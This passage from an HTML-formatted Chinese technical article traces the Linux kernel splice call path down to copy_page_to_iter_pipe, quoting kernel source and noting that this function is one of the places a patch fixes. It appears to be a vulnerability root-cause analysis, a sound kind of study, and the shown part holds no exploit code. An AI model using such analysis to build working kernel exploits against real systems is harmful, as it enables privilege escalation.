Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        file_start_write(out);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        ret = do_splice_from(ipipe, out, &amp;offset, len, flags);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        file_end_write(out);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // #1090: 出方向为管道</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (opipe) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (off_out)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            return -ESPIPE;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (off_in) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            // 需要in具有读权限</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            if (!(in-&gt;f_mode &amp; FMODE_PREAD))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">                return -EINVAL;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            offset = *off_in;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        } else {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            offset = in-&gt;f_pos;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (out-&gt;f_flags &amp; O_NONBLOCK)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            flags |= SPLICE_F_NONBLOCK;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        // 调用splice_file_to_pipe</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        ret = splice_file_to_pipe(in, opipe, &amp;offset, len, flags);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">do_splice</code>调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice_file_to_pipe</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">// splice.c#1008</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">long splice_file_to_pipe(struct file *in,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             struct pipe_inode_info *opipe,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             loff_t *offset,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             size_t len, unsigned int flags)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ... </span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    ret = do_splice_to(in, offset, opipe, len, flags);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">do_splice</code>调用如下<br style="box-sizing: border-box;"/>==&gt;<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice_file_to_pipe()</code><br style="box-sizing: border-box;"/>====&gt;<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">do_splice_to()</code><br style="box-sizing: border-box;"/>======&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">in-&gt;f_op-&gt;splice_read(in, ppos, pipe, len, flags);</code> // generic_file_splice_read()<br style="box-sizing: border-box;"/>=========&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">call_read_iter()</code><br style="box-sizing: border-box;"/>=============&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">file-&gt;f_op-&gt;read_iter()</code> // generic_file_read_iter()<br style="box-sizing: border-box;"/>================&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">filemap_read()</code> // generic_file_read_iter对非direct io模式调用filemap_read</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">看函数<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">filemap_read</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">// filemap.c#2629</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/**</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * filemap_read - Read data from the page cache.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * @iocb: The iocb to read.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * @iter: Destination for the data.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * @already_read: Number of bytes already read by the caller.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> *</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * Copies data from the page cache.  If the data is not currently present,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * uses the readahead and readpage address_space operations to fetch it.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> *</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * Return: Total number of bytes copied, including those already read by</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * the caller.  If an error happens before any bytes are copied, returns</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> * a negative error number.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"> */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">ssize_t filemap_read(struct kiocb *iocb, struct iov_iter *iter,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        ssize_t already_read)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // #2676: 将in文件的page_cache保存在结构体struct folio_batch fbatch中</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    error = filemap_get_pages(iocb, iter, &amp;fbatch);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    // #2707: 遍历文件缓存页，调用copy_folio_to_iter</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    for (i = 0; i &lt; folio_batch_count(&amp;fbatch); i++) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        struct folio *folio = fbatch.folios[i];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        size_t fsize = folio_size(folio);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        size_t offset = iocb-&gt;ki_pos &amp; (fsize - 1);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        size_t bytes = min_t(loff_t, end_offset - iocb-&gt;ki_pos,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">                             fsize - offset);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        size_t copied;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (end_offset &lt; folio_pos(folio))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            break;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (i &gt; 0)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            folio_mark_accessed(folio);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        /*</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             * If users can be writing to this folio using arbitrary</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             * virtual addresses, take care of potential aliasing</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             * before reading the folio on the kernel side.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             */</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        if (writably_mapped)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">            flush_dcache_folio(folio);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        copied = copy_folio_to_iter(folio, offset, bytes, iter);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_folio_to_iter(folio, offset, bytes, iter);</code>继续调用：<br style="box-sizing: border-box;"/>====&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_to_iter(&amp;folio-&gt;page, offset, bytes, i);</code><br style="box-sizing: border-box;"/>=======&gt; <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">__copy_page_to_iter(page, offset,min(bytes, (size_t)PAGE_SIZE - offset), i);</code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">//iov_iter.c#846</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">static size_t __copy_page_to_iter(struct page *page, size_t offset, size_t bytes,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             struct iov_iter *i)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (likely(iter_is_iovec(i)))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return copy_page_to_iter_iovec(page, offset, bytes, i);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (iov_iter_is_bvec(i) || iov_iter_is_kvec(i) || iov_iter_is_xarray(i)) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        void *kaddr = kmap_local_page(page);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        size_t wanted = _copy_to_iter(kaddr + offset, bytes, i);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        kunmap_local(kaddr);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return wanted;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    if (iov_iter_is_pipe(i))</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">        return copy_page_to_iter_pipe(page, offset, bytes, i);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这里时文件向pipe copy，所以调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_to_iter_pipe</code>，细心的同学或许发现了此处正是补丁修补位置之一，看<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_to_iter_pipe</code>代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">             struct iov_iter *i)</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: 